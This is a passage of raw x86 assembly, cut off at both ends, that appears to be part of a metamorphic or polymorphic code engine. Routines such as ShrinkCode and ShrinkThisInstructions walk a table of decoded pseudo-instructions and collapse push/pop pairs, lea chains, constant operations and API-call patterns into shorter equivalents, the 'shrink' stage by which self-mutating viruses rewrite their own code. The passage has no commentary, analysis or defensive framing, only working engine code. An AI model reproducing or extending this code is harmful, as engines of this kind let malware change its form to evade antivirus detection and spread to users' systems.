mov [edi+1], eax
mov [edi+7], ecx
add edi, 10h
mov eax, 0EAh
mov [edi], eax
mov eax, 0800h
add eax, ebx
mov [edi+1], eax
xor eax, eax
mov [edi+3], eax
add edi, 10h
ret
@@Single: mov eax, 0EAh
mov [edi], eax
mov eax, 0808h
mov [edi+1], eax
mov [edi+3], ecx
add edi, 10h
ret
Poly_DoCALLMem endp
;---------------------------------------------------------------------------------------
ShrinkCode proc
mov edi, [ebp+InstructionTable]
mov eax, [edi]
and eax, 0FFh
call CheckIfInstructionUsesMem
or eax, eax
jz @@Shrink
call OrderRegs
@@Shrink: mov eax, [edi]
and eax, 0FFh
cmp eax, 0FFh
jz @@IncreaseEIP
call ShrinkThisInstructions
or eax, eax
jz @@IncreaseEIP
call DecreaseEIP
call DecreaseEIP
call DecreaseEIP
jmp @@Shrink
@@IncreaseEIP:
call IncreaseEIP
cmp edi, [ebp+AddressOfLastInstruction]
jnz @@Shrink
@@DecreaseAddressOfLastInstruction:
sub edi, 10h
mov eax, [edi]
and eax, 0FFh
cmp eax, 0FFh
jnz @@LastInstructionOK
mov [ebp+AddressOfLastInstruction], edi
jmp @@DecreaseAddressOfLastInstruction
@@LastInstructionOK:
mov edi, [ebp+InstructionTable]
@@FindAPICALL_X:
@@GetFirstInstruction:
call IncreaseEIP2
cmp eax, -1
jz @@EndOfScan
mov eax, [edi]
and eax, 0FFh
cmp eax, 50h
jnz @@ItsNot_SET_WEIGHT
push edi
mov esi, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 40h
jnz @@ItsNot_SET_WEIGHT_2
mov edx, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 40h
jnz @@ItsNot_SET_WEIGHT_2
mov ecx, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 43h
jnz @@ItsNot_SET_WEIGHT_2
mov ebx, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [esi+1]
and eax, 0FFh
mov esi, eax
mov eax, [edx+1]
and eax, 0FFh
cmp eax, esi
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi+1]
and eax, 0FFh
cmp eax, esi
jnz @@ItsNot_SET_WEIGHT_2
mov esi, [ecx+1]
and esi, 0FFh
mov eax, [ebx+7]
and eax, 0FFh
cmp eax, esi
jnz @@ItsNot_SET_WEIGHT_2
pop esi
mov eax, 0F7h
mov [esi], al
mov eax, [esi+1]
mov [esi+9], al
mov eax, [ebx+1]
mov [esi+1], eax
mov eax, [ebx+3]
mov [esi+3], eax
mov eax, [edx+7]
mov [esi+7], al
mov eax, [ecx+1]
mov [esi+8], al
mov eax, 0FFh
mov [edx], eax
mov [ecx], eax
mov [ebx], eax
mov [edi], eax
jmp @@AllOK
@@ItsNot_SET_WEIGHT_2:
pop edi
@@ItsNot_SET_WEIGHT:
@@AllOK:
@@CheckAPICALL_X:
mov edx, edi
push edi
@@GetSecondInstruction:
call IncreaseEIP2
cmp eax, -1
jz @@EndOfScan
or eax, eax
jnz @@EndOfTriplet
mov esi, edi
@@GetThirdInstruction:
call IncreaseEIP2
cmp eax, -1
jz @@EndOfScan
or eax, eax
jnz @@EndOfTriplet
mov eax, [edx]
and eax, 0FFh
cmp eax, 50h
jnz @@FindAPICALL_END
mov eax, [esi]
and eax, 0FFh
cmp eax, 50h
jnz @@FindAPICALL_END
mov eax, [edi]
and eax, 0FFh
cmp eax, 50h
jnz @@FindAPICALL_END
mov eax, [edx+1]
and eax, 0FFh
or eax, eax
jnz @@FindAPICALL_END
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 1
jnz @@FindAPICALL_END
mov eax, [edi+1]
and eax, 0FFh
cmp eax, 2
jnz @@FindAPICALL_END
mov eax, 0F4h
@@SetAPICALL_X:
mov [edx], eax
mov eax, 0FFh
mov [esi], eax
mov [edi], eax
jmp @@EndOfTriplet
@@FindAPICALL_END:
mov eax, [edx]
and eax, 0FFh
cmp eax, 58h
jnz @@EndOfTriplet
mov eax, [esi]
and eax, 0FFh
cmp eax, 58h
jnz @@EndOfTriplet
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h
jnz @@EndOfTriplet
mov eax, [edx+1]
and eax, 0FFh
cmp eax, 2
jnz @@EndOfTriplet
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 1
jnz @@EndOfTriplet
mov eax, [edi+1]
and eax, 0FFh
or eax, eax
jnz @@EndOfTriplet
mov eax, 0F5h
jmp @@SetAPICALL_X
@@EndOfTriplet:
pop edi
jmp @@FindAPICALL_X
@@EndOfScan:
pop edi
ret
ShrinkCode endp
DecreaseEIP proc
@@Again: cmp edi, [ebp+InstructionTable]
jz @@OK
mov eax, [edi+0Bh]
and eax, 0FFh
or eax, eax
jnz @@OK
sub edi, 10h
mov eax, [edi]
and eax, 0FFh
cmp eax, 0FFh
jz @@Again
@@OK: ret
DecreaseEIP endp
IncreaseEIP proc
mov ecx, [ebp+AddressOfLastInstruction]
cmp edi, ecx
jz @@_End
@@Again: add edi, 10h
cmp edi, ecx
jz @@_End
mov eax, [edi+0Bh]
and eax, 0FFh
or eax, eax
jnz @@End
mov eax, [edi]
and eax, 0FFh
cmp eax, 0FFh
jz @@Again
@@End: mov eax, [edi]
and eax, 0FFh
call CheckIfInstructionUsesMem
or eax, eax
jz @@_End
call OrderRegs
mov eax, [edi]
and eax, 0FFh
cmp eax, 4Fh
jnz @@_End
push edi
mov edi, [edi+7]
call OrderRegs
pop edi
@@_End: ret
IncreaseEIP endp
IncreaseEIP2 proc
cmp edi, [ebp+AddressOfLastInstruction]
jz @@EndOfScan
add edi, 10h
cmp edi, [ebp+AddressOfLastInstruction]
jz @@EndOfScan
mov eax, [edi]
and eax, 0FFh
cmp eax, 0FFh
jz IncreaseEIP2
mov eax, [edi+0Bh]
and eax, 0FFh
ret
@@EndOfScan:
mov eax, -1
ret
IncreaseEIP2 endp
ShrinkThisInstructions proc
push edi
@@Check_Single:
mov eax, [edi]
and eax, 0FFh
cmp eax, 30h
jnz @@Single_Next00
mov ecx, 0E0h
@@Single_Next_CommonXOR_s1:
mov eax, [edi+7]
@@Single_Next_CommonXOR_s1_2:
cmp eax, -1
jz @@Single_SetInstructionECX
@@Single_Next_CheckNulOP:
or eax, eax
jnz @@Single_End
jmp @@Single_SetNOP
@@Single_SetInstructionECX:
mov eax, ecx
jmp @@Single_SetInstruction
@@Single_Next00:
cmp eax, 34h
jnz @@Single_Next00_
mov ecx, 0E1h
jmp @@Single_Next_CommonXOR_s1
@@Single_Next00_:
cmp eax, 4Bh
jnz @@Single_Next00__
mov eax, 4Ah
jmp @@Single_SetInstruction
@@Single_Next00__:
cmp eax, 4Bh+80h
jnz @@Single_Next01
mov eax, 4Ah+80h
jmp @@Single_SetInstruction
@@Single_Next01:
cmp eax, 30h+80h
jnz @@Single_Next02
mov ecx, 0E2h
@@Single_Next01_GetSigned:
mov eax, [edi+7]
and eax, 0FFh
cmp eax, 80h
jb @@Single_Next01_NotSigned
add eax, 0FFFFFF00h
@@Single_Next01_NotSigned:
jmp @@Single_Next_CommonXOR_s1_2
@@Single_Next02:
cmp eax, 34h+80h
jnz @@Single_Next03
mov ecx, 0E3h
jmp @@Single_Next01_GetSigned
@@Single_Next03:
cmp eax, 41h
jnz @@Single_Next04
@@Single_Next_CommonMOV:
mov eax, [edi+1]
mov ecx, [edi+7]
and eax, 0FFh
and ecx, 0FFh
cmp eax, ecx
jnz @@Single_End
@@Single_SetNOP:
mov eax, 0FFh
@@Single_SetInstruction:
mov ecx, [edi]
and ecx, 0FFFFFF00h
and eax, 0FFh
add eax, ecx
mov [edi], eax
jmp @@EndCompressed
@@Single_Next04:
cmp eax, 41h+80h
jz @@Single_Next_CommonMOV
@@Single_Next05:
cmp eax, 28h
jnz @@Single_Next06
xor ecx, ecx
@@Single_Next_NegateImm:
mov eax, [edi+7]
neg eax
mov [edi+7], eax
jmp @@Single_SetInstructionECX
@@Single_Next06:
cmp eax, 28h+80h
jnz @@Single_Next07
mov ecx, 00h+80h
jmp @@Single_Next_NegateImm
@@Single_Next07:
cmp eax, 2Ch
jnz @@Single_Next08
mov ecx, 04h
jmp @@Single_Next_NegateImm
@@Single_Next08:
cmp eax, 2Ch+80h
jnz @@Single_Next09
mov ecx, 04h+80h
jmp @@Single_Next_NegateImm
@@Single_Next09:
or eax, eax
jnz @@Single_Next10
@@Single_Next_CheckNulOP_2:
mov eax, [edi+7]
jmp @@Single_Next_CheckNulOP
@@Single_Next10:
cmp eax, 4
jz @@Single_Next_CheckNulOP_2
cmp eax, 04h+80h
jz @@Single_Next_CheckNulOP_2_8b
cmp eax, 0Ch
jz @@Single_Next_CheckNulOP_2
cmp eax, 0Ch+80h
jz @@Single_Next_CheckNulOP_2_8b
cmp eax, 24h+80h
jz @@Single_Next10_Check_s1_8b
cmp eax, 24h
jnz @@Single_Next10_
@@Single_Next10_Check_s1:
mov eax, [edi+7]
cmp eax, -1
jz @@Single_SetNOP
or eax, eax
jnz @@Single_End
mov eax, 44h
jmp @@Single_SetInstruction
@@Single_Next10_Check_s1_8b:
mov eax, [edi+7]
and eax, 0FFh
cmp eax, 0FFh
jz @@Single_SetNOP
or eax, eax
jnz @@Single_End
mov eax, 44h+80h
jmp @@Single_SetInstruction
@@Single_Next10_:
cmp eax, 00h+80h
jnz @@Single_Next11
@@Single_Next_CheckNulOP_2_8b:
mov eax, [edi+7]
and eax, 0FFh
jmp @@Single_Next_CheckNulOP
@@Single_Next11:
cmp eax, 08h
jz @@Single_Next_CheckNulOP_2
@@Single_Next12:
cmp eax, 08h+80h
jz @@Single_Next_CheckNulOP_2_8b
@@Single_Next13:
cmp eax, 20h
jnz @@Single_Next14
mov eax, [edi+7]
cmp eax, -1
jz @@Single_SetNOP
or eax, eax
jnz @@Single_End
mov eax, 40h
jmp @@Single_SetInstruction
@@Single_Next14:
cmp eax, 20h+80h
jnz @@Single_Next15
mov eax, [edi+7]
and eax, 0FFh
cmp eax, 0FFh
jz @@Single_SetNOP
or eax, eax
jnz @@Single_End
mov eax, 40h+80h
jmp @@Single_SetInstruction
@@Single_Next15:
cmp eax, 31h
jnz @@Single_Next16
@@Single_Next_CheckSetTo0:
mov ecx, 40h
@@Single_Next_CheckSetTo0_2:
mov eax, [edi+1]
mov ebx, [edi+7]
and eax, 0FFh
and ebx, 0FFh
cmp eax, ebx
jnz @@Single_End
xor eax, eax
mov [edi+7], eax
jmp @@Single_SetInstructionECX
@@Single_Next16:
cmp eax, 31h+80h
jnz @@Single_Next17
@@Single_Next_CheckSetTo0_8b:
mov ecx, 40h+80h
jmp @@Single_Next_CheckSetTo0_2
@@Single_Next17:
cmp eax, 29h
jz @@Single_Next_CheckSetTo0
@@Single_Next18:
cmp eax, 29h+80h
jz @@Single_Next_CheckSetTo0_8b
@@Single_Next19:
cmp eax, 09h
jnz @@Single_Next20
@@Single_Next_CheckCheckIf0:
mov ecx, 38h
jmp @@Single_Next_CheckSetTo0_2
@@Single_Next20:
cmp eax, 09h+80h
jnz @@Single_Next21
@@Single_Next_CheckCheckIf0_8b:
mov ecx, 38h+80h
jmp @@Single_Next_CheckSetTo0_2
@@Single_Next21:
cmp eax, 21h
jz @@Single_Next_CheckCheckIf0
@@Single_Next22:
cmp eax, 21h+80h
jz @@Single_Next_CheckCheckIf0_8b
@@Single_Next23:
cmp eax, 49h
jz @@Single_Next_CheckCheckIf0
@@Single_Next24:
cmp eax, 49h+80h
jz @@Single_Next_CheckCheckIf0_8b
@@Single_Next25:
cmp eax, 0FCh
jnz @@Single_Next26
mov eax, [edi+2]
and eax, 0FFh
cmp eax, 40h
jae @@Single_Next26
mov eax, [edi+1]
and eax, 0FFh
cmp eax, 8
jz @@Single_Next_LEA_CheckMOV
mov ecx, [edi+7]
and ecx, 0FFh
cmp eax, ecx
jz @@Single_Next_LEA_CheckADD
mov eax, [edi+2]
and eax, 0FFh
cmp eax, 8
jz @@Single_Next_LEA_CheckMOVRegReg
cmp eax, ecx
jz @@Single_Next_LEA_CheckADDRegReg2
mov ecx, [edi+1]
and ecx, 0FFh
cmp eax, ecx
jnz @@Single_End
mov eax, 8
mov ecx, [edi+1]
and ecx, 0FFFFFF00h
add eax, ecx
mov [edi+1], eax
mov eax, [edi+2]
add eax, 40h
mov [edi+2], eax
jmp @@EndCompressed
@@Single_Next_LEA_CheckADDRegReg2:
mov eax, [edi+3]
or eax, eax
jz @@Single_Next_LEA_SetADDRegReg_2
jmp @@Single_End
@@Single_Next_LEA_CheckMOV:
mov eax, [edi+2]
and eax, 0FFh
cmp eax, 8
jz @@Single_Next_LEA_SetMOV
mov ecx, [edi+7]
and ecx, 0FFh
cmp eax, ecx
jz @@Single_Next_LEA_SetADD_2
mov eax, [edi+3]
or eax, eax
jnz @@Single_End
@@Single_Next_LEA_SetMOVRegReg_2:
mov eax, [edi+2]
mov ecx, [edi+1]
and ecx, 0FFFFFF00h
and eax, 0FFh
add eax, ecx
mov [edi+1], eax
mov eax, 41h
jmp @@Single_SetInstruction
@@Single_Next_LEA_SetADD_2:
mov ecx, [edi+1]
and ecx, 0FFFFFF00h
and eax, 0FFh
add eax, ecx
mov [edi+1], eax
mov eax, [edi+3]
mov [edi+7], eax
xor eax, eax
jmp @@Single_SetInstruction
@@Single_Next_LEA_SetMOV:
mov ecx, 40h
mov eax, [edi+7]
and eax, 0FFh
mov ebx, [edi+1]
and ebx, 0FFFFFF00h
add eax, ebx
mov [edi+1], eax
@@Single_Next_LEA_SetInstructionECX:
mov eax, [edi+3]
mov [edi+7], eax
jmp @@Single_SetInstructionECX
@@Single_Next_LEA_CheckADD:
mov eax, [edi+2]
and eax, 0FFh
cmp eax, 8
jz @@Single_Next_LEA_SetADD
mov eax, [edi+3]
or eax, eax
jnz @@Single_End
@@Single_Next_LEA_SetADDRegReg:
mov eax, [edi+2]
mov ebx, [edi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [edi+1], eax
@@Single_Next_LEA_SetADDRegReg_2:
mov eax, 01h
jmp @@Single_SetInstruction
@@Single_Next_LEA_SetADD:
mov eax, [edi+3]
mov [edi+7], eax
xor eax, eax
jmp @@Single_SetInstruction
@@Single_Next_LEA_CheckMOVRegReg:
mov eax, [edi+3]
or eax, eax
jnz @@Single_End
@@Single_Next_LEA_SetMOVRegReg:
mov eax, 41h
jmp @@Single_SetInstruction
@@Single_Next26:
cmp eax, 4Fh
jnz @@Single_Next27
mov esi, [edi+7]
mov eax, [edi+1]
cmp eax, [esi+1]
jnz @@Single_End
mov eax, [edi+3]
cmp eax, [esi+3]
jz @@Single_SetNOP
@@Single_Next27:
cmp eax, 38h
jb @@Single_Next28
cmp eax, 3Ch
ja @@Single_Next28
@@Single_Next27_Common:
mov edx, edi
@@Single_Next27_GetNextInstr:
add edx, 10h
mov eax, [edx+0Bh]
and eax, 0FFh
or eax, eax
jnz @@Single_SetNOP
mov eax, [edx]
and eax, 0FFh
cmp eax, 0FFh
jz @@Single_Next27_GetNextInstr
cmp eax, 70h
jb @@Single_SetNOP
cmp eax, 7Fh
ja @@Single_SetNOP
jmp @@Single_End
@@Single_Next28:
cmp eax, 38h+80h
jb @@Single_Next29
cmp eax, 3Ch+80h
jbe @@Single_Next27_Common
@@Single_Next29:
cmp eax, 48h
jb @@Single_Next30
cmp eax, 4Ch
jbe @@Single_Next27_Common
@@Single_Next30:
cmp eax, 48h+80h
jb @@Single_Next31
cmp eax, 4Ch+80h
jbe @@Single_Next27_Common
@@Single_Next31:
@@Single_End:
mov eax, [edi]
and eax, 0FFh
cmp eax, 80h+00
jb @@Check_Double
cmp eax, 80h+4Ch
ja @@Check_Double
and eax, 7
or eax, eax
jz @@GetFrom_RegImm
cmp eax, 1
jz @@GetFrom_RegReg
cmp eax, 2
jz @@GetFrom_RegMem
cmp eax, 3
jnz @@Check_Double
@@GetFrom_MemReg:
@@GetFrom_RegMem:
@@GetFrom_RegReg:
mov eax, [edi+7]
and eax, 0FFh
jmp @@GetFrom_OK
@@GetFrom_RegImm:
mov eax, [edi+1]
and eax, 0FFh
@@GetFrom_OK:
mov [ebp+Register8Bits], eax
@@Check_Double:
mov esi, edi
call IncreaseEIP
cmp edi, [ebp+AddressOfLastInstruction]
jz @@EndNoCompressed
mov eax, [edi+0Bh]
and eax, 0FFh
or eax, eax
jnz @@EndNoCompressed
mov eax, [esi]
and eax, 0FFh
cmp eax, 68h
jnz @@Double_Next00
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h
jz @@Double_Next_PutMOVRegImm
cmp eax, 59h
jnz @@EndNoCompressed
@@Double_Next_PutMOVMemImm:
mov eax, [edi+1]
mov [esi+1], eax
mov eax, [edi+3]
mov [esi+3], eax
mov eax, 44h
jmp @@Double_Next_SetInstruction
@@Double_Next_PutMOVRegImm:
mov eax, [edi+1]
mov [esi+1], eax
mov eax, 40h
@@Double_Next_SetInstruction:
mov ebx, [esi]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi], eax
@@Double_Next_SetNOP:
mov eax, 0FFh
mov [edi], al
jmp @@EndCompressed
@@Double_Next00:
cmp eax, 50h
jnz @@Double_Next01
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h
jz @@Double_Next_PushPop
cmp eax, 0FEh
jz @@Double_Next00_JMPReg
cmp eax, 59h
jnz @@Double_End
mov eax, [esi+1]
mov ebx, [esi+7]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+7], eax
mov eax, [edi+1]
mov [esi+1], eax
mov eax, [edi+3]
mov [esi+3], eax
mov eax, 43h
jmp @@Double_Next_SetInstruction
@@Double_Next_PushPop:
mov eax, [edi+1]
mov [esi+7], eax
mov eax, 41h
jmp @@Double_Next_SetInstruction
@@Double_Next00_JMPReg:
mov eax, 0EDh
jmp @@Double_Next_SetInstruction
@@Double_Next01:
cmp eax, 51h
jnz @@Double_Next02
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h
jz @@Double_Next01_PushPop
cmp eax, 59h
jnz @@Double_End
@@Double_Next01_MOVMemMem:
mov [esi+7], edi
mov [edi+7], esi
mov eax, 4Fh
jmp @@Double_Next_SetInstruction
@@Double_Next01_PushPop:
mov eax, [edi+1]
mov ebx, [edi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+7], eax
mov eax, 42h
jmp @@Double_Next_SetInstruction
@@Double_Next02:
mov eax, [esi+1]
cmp eax, [edi+1]
jnz @@Double_Next_NoMem
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_Next_NoMem
mov eax, [esi]
and eax, 0FFh
cmp eax, 0F6h
jz @@Double_Next02_Check
cmp eax, 43h
jnz @@Double_Next03
@@Double_Next02_Check:
mov eax, [edi]
and eax, 0FFh
cmp eax, 51h
jz @@Double_Next02_PushReg
cmp eax, 4Ch
jbe @@Double_Next_OPRegReg
cmp eax, 0EAh
jz @@Double_Next02_CALLMem
cmp eax, 0EBh
jnz @@Double_End
@@Double_Next02_JMPMem:
mov eax, 0EDh
@@Double_Next02_XXXMem:
push eax
mov eax, [esi+7]
mov ebx, [esi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+1], eax
pop eax
jmp @@Double_Next_SetInstruction
@@Double_Next02_CALLMem:
mov eax, 0ECh
jmp @@Double_Next02_XXXMem
@@Double_Next_OPRegReg:
and eax, 7Fh
cmp eax, 3Bh
jz @@Double_Next02_MergeCheck
cmp eax, 4Bh
jz @@Double_Next02_MergeCheck
cmp eax, 4Ah
jz @@Double_Next02_MergeCheck
and eax, 7
cmp eax, 2
jnz @@Double_End
mov eax, [esi+7]
mov [esi+1], eax
mov eax, [edi+7]
mov [esi+7], eax
@@Double_Next02_SetOP:
mov eax, [edi]
and eax, 0F8h
add eax, 1
jmp @@Double_Next_SetInstruction
@@Double_Next02_MergeCheck:
mov eax, [edi+7]
mov [esi+1], eax
jmp @@Double_Next02_SetOP
@@Double_Next02_PushReg:
mov eax, [esi+7]
mov [esi+1], eax
mov eax, 50h
jmp @@Double_Next_SetInstruction
@@Double_Next03:
cmp eax, 0C3h
jnz @@Double_Next04
mov eax, [edi]
and eax, 0FFh
cmp eax, 00h+80h
jb @@Double_End
cmp eax, 4Ch+80h
jbe @@Double_Next_OPRegReg
jmp @@Double_End
@@Double_Next04:
cmp eax, 44h
jnz @@Double_Next05
mov eax, [edi]
and eax, 0FFh
cmp eax, 51h
jz @@Double_Next04_PushImm
cmp eax, 4Ch
ja @@Double_Next05
and eax, 7
cmp eax, 2
jnz @@Double_Next05
@@Double_Next_Merge_MOV_OP:
mov eax, [edi+7]
mov ebx, [esi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+1], eax
mov eax, [edi]
and eax, 0F8h
jmp @@Double_Next_SetInstruction
@@Double_Next04_PushImm:
mov eax, 68h
jmp @@Double_Next_SetInstruction
@@Double_Next05:
mov eax, [esi]
and eax, 0FFh
cmp eax, 44h+80h
jnz @@Double_Next06
mov eax, [edi]
and eax, 0FFh
cmp eax, 00h+80h
jb @@Double_Next06
cmp eax, 4Ch+80h
ja @@Double_Next06
and eax, 7
cmp eax, 2
jnz @@Double_Next06
jmp @@Double_Next_Merge_MOV_OP
@@Double_Next06:
mov eax, [esi]
and eax, 0FFh
cmp eax, 59h
jnz @@Double_Next_NoMem
mov eax, [edi]
and eax, 0FFh
cmp eax, 42h
jz @@Double_Next06_POPReg
cmp eax, 4Fh
jz @@Double_Next06_POPMem
cmp eax, 51h
jz @@Double_Next_SetDoubleNOP
cmp eax, 0EBh
jnz @@Double_Next_NoMem
mov eax, 0FEh
jmp @@Double_Next_SetInstruction
@@Double_Next06_POPReg:
mov eax, [edi+7]
mov [esi+1], eax
mov eax, 58h
jmp @@Double_Next_SetInstruction
@@Double_Next06_POPMem:
mov ebx, [edi+7]
mov eax, [ebx+1]
mov [esi+1], eax
mov eax, [ebx+3]
mov [esi+3], eax
jmp @@Double_Next_SetNOP
@@Double_Next_SetDoubleNOP:
mov eax, 0FFh
jmp @@Double_Next_SetInstruction
@@Double_Next_NoMem:
mov eax, [esi]
and eax, 0FFh
cmp eax, 40h
jnz @@Double_Next07
mov eax, [edi]
and eax, 0FFh
cmp eax, 42h+80h
jz @@Double_Next06_MaybeMOVZX
cmp eax, 1
jnz @@Double_Next07
mov eax, [esi+1]
and eax, 0FFh
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next07
mov eax, [esi+7]
mov [esi+3], eax
mov eax, [esi+1]
mov [esi+7], eax
mov eax, [edi+1]
and eax, 0FFh
mov ebx, [esi+1]
and ebx, 0FFFFFF00h
add eax, ebx
mov [esi+1], eax
@@Double_Next06_SetLEA:
mov eax, [esi+2]
and eax, 0FFFFFF00h
add eax, 8
mov [esi+2], eax
mov eax, 0FCh
jmp @@Double_Next_SetInstruction
@@Double_Next06_MaybeMOVZX:
mov eax, [esi+7]
or eax, eax
jnz @@Double_Next07
mov eax, [esi+1]
and eax, 0FFh
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next07
mov ebx, [edi+1]
and ebx, 0FFh
cmp eax, ebx
jz @@Double_Next07
mov ebx, [edi+2]
and ebx, 0Fh
cmp eax, ebx
jz @@Double_Next07
mov [esi+7], eax
mov eax, [edi+1]
mov [esi+1], eax
mov eax, [edi+3]
mov [esi+3], eax
mov eax, 0F8h
jmp @@Double_Next_SetInstruction
@@Double_Next07:
mov eax, [esi]
and eax, 0FFh
cmp eax, 41h
jnz @@Double_Next08
mov eax, [edi]
and eax, 0FFh
or eax, eax
jz @@Double_Next07_LEA01
cmp eax, 1
jnz @@Double_Next08
mov eax, [esi+7]
and eax, 0FFh
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next08
mov eax, [edi+1]
mov [esi+2], eax
xor eax, eax
mov [esi+3], eax
mov eax, 0FCh
jmp @@Double_Next_SetInstruction
@@Double_Next07_LEA01:
mov eax, [esi+7]
and eax, 0FFh
mov ebx, [edi+1]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next08
mov eax, [edi+7]
mov [esi+3], eax
jmp @@Double_Next06_SetLEA
@@Double_Next08:
mov eax, [esi]
and eax, 0FFh
or eax, eax
jnz @@Double_Next09
mov eax, [edi]
and eax, 0FFh
cmp eax, 01h
jnz @@Double_Next09
mov eax, [esi+1]
and eax, 0FFh
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next09
mov eax, [edi+1]
mov [esi+2], eax
mov eax, [esi+7]
mov [esi+3], eax
mov eax, [esi+1]
mov [esi+7], eax
mov eax, 0FCh
jmp @@Double_Next_SetInstruction
@@Double_Next09:
mov eax, [esi]
and eax, 0FFh
cmp eax, 01h
jnz @@Double_Next10
mov eax, [edi]
and eax, 0FFh
or eax, eax
jnz @@Double_Next10
mov eax, [esi+7]
cmp al, [edi+1]
jnz @@Double_Next10
mov eax, [esi+1]
mov [esi+2], al
mov eax, [esi+7]
mov [esi+1], al
mov eax, [edi+7]
mov [esi+3], eax
mov eax, 0FCh
jmp @@Double_Next_SetInstruction
@@Double_Next10:
xor eax, eax
mov al, [esi]
cmp eax, 4Ch
ja @@Double_Next11
mov al, [edi]
cmp eax, 4Ch
ja @@Double_Next11
mov eax, [esi]
and eax, 7
cmp eax, 4
jz @@Double_Next10_OPMemImm
or eax, eax
jnz @@Double_Next11
@@Double_Next10_OPRegImm:
mov eax, [edi]
and eax, 7
or eax, eax
jnz @@Double_Next11
mov eax, [esi+1]
cmp al, [edi+1]
jnz @@Double_Next11
xor ebx, ebx
@@Double_Next_CalculateOperation:
push ebx
mov ecx, [esi+7]
mov edx, [edi+7]
@@Double_Next_CalculateOperation_2:
mov eax, [edi]
and eax, 78h
mov ebx, eax
mov eax, [esi]
and eax, 78h
call CalculateOperation
pop ebx
cmp eax, 0FEh
jz @@Double_End
cmp eax, 0FFh
jz @@Double_Next_SetNOPAt1st
mov [esi+7], ecx
add eax, ebx
jmp @@Double_Next_SetInstruction
@@Double_Next_SetNOPAt1st:
mov eax, 0FFh
mov [esi], al
jmp @@EndCompressed
@@Double_Next10_OPMemImm:
mov eax, [edi]
and eax, 7
cmp eax, 4
jnz @@Double_Next11
mov eax, [esi+1]
cmp eax, [edi+1]
jnz @@Double_Next11
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_Next11
mov ebx, 4
jmp @@Double_Next_CalculateOperation
@@Double_Next11:
xor eax, eax
mov al, [esi]
cmp eax, 00h+80h
jb @@Double_Next12
cmp eax, 4Ch+80h
ja @@Double_Next12
mov al, [edi]
cmp eax, 00h+80h
jb @@Double_Next12
cmp eax, 4Ch+80h
ja @@Double_Next12
mov eax, [esi]
and eax, 7
cmp eax, 4
jz @@Double_Next11_OPMemImm_8b
or eax, eax
jnz @@Double_Next12
@@Double_Next11_OPRegImm_8b:
mov eax, [edi]
and eax, 7
or eax, eax
jnz @@Double_Next12
mov ebx, 80h
@@Double_Next11_CalculateOperation_8b:
push ebx
xor eax, eax
mov al, [esi+7]
mov ecx, eax
mov al, [edi+7]
mov edx, eax
jmp @@Double_Next_CalculateOperation_2
@@Double_Next11_OPMemImm_8b:
mov eax, [edi]
and eax, 7
cmp eax, 4
jnz @@Double_Next12
mov eax, [esi+1]
cmp eax, [edi+1]
jnz @@Double_Next12
mov eax, [esi+3]
cmp eax, [edi+3]
jnz @@Double_Next12
mov ebx, 84h
jmp @@Double_Next11_CalculateOperation_8b
@@Double_Next12:
xor eax, eax
mov al, [esi]
cmp eax, 0FCh
jnz @@Double_Next13
mov al, [edi]
cmp eax, 01h
jz @@Double_Next12_MergeLEAADDReg
or eax, eax
jnz @@Double_Next13
@@Double_Next12_MergeLEAADD:
mov eax, [esi+7]
cmp al, [edi+1]
jnz @@Double_Next13
mov eax, [edi+7]
add [esi+3], eax
jmp @@Double_Next_SetNOP
@@Double_Next12_MergeLEAADDReg:
mov eax, [esi+7]
cmp al, [edi+7]
jnz @@Double_Next13
mov eax, 8
cmp al, [esi+1]
jz @@Double_Next12_SetFirstReg
cmp al, [esi+2]
jz @@Double_Next12_SetSecondReg
mov eax, [edi+1]
cmp al, [esi+2]
jz @@Double_Next12_AddScalar
cmp al, [esi+1]
jnz @@Double_Next13
mov eax, [esi+2]
cmp al, 40h
jae @@Double_Next13
push eax
mov eax, [esi+1]
add eax, 40h
mov [esi+2], al
pop eax
mov [esi+1], al
jmp @@Double_Next_SetNOP
@@Double_Next12_AddScalar:
mov eax, [esi+2]
add eax, 40h
mov [esi+2], al
jmp @@Double_Next_SetNOP
@@Double_Next12_SetFirstReg:
mov eax, [edi+1]
mov [esi+1], al
jmp @@Double_Next_SetNOP
@@Double_Next12_SetSecondReg:
mov eax, [edi+1]
mov [esi+2], al
jmp @@Double_Next_SetNOP
@@Double_Next13:
xor eax, eax
mov al, [esi]
cmp eax, 4Fh
jnz @@Double_Next14
mov al, [edi]
cmp eax, 4Fh
jz @@Double_Next13_MergeMOVs
cmp eax, 4Ch
ja @@Double_Next13_NotOPRegMem
@@Double_Next13_OPRegMem_2:
and eax, 7
cmp eax, 2
jz @@Double_Next13_OPRegMem
mov al, [edi]
jmp @@Double_Next13_NotOPRegMem2
@@Double_Next13_NotOPRegMem:
cmp eax, 00h+80h
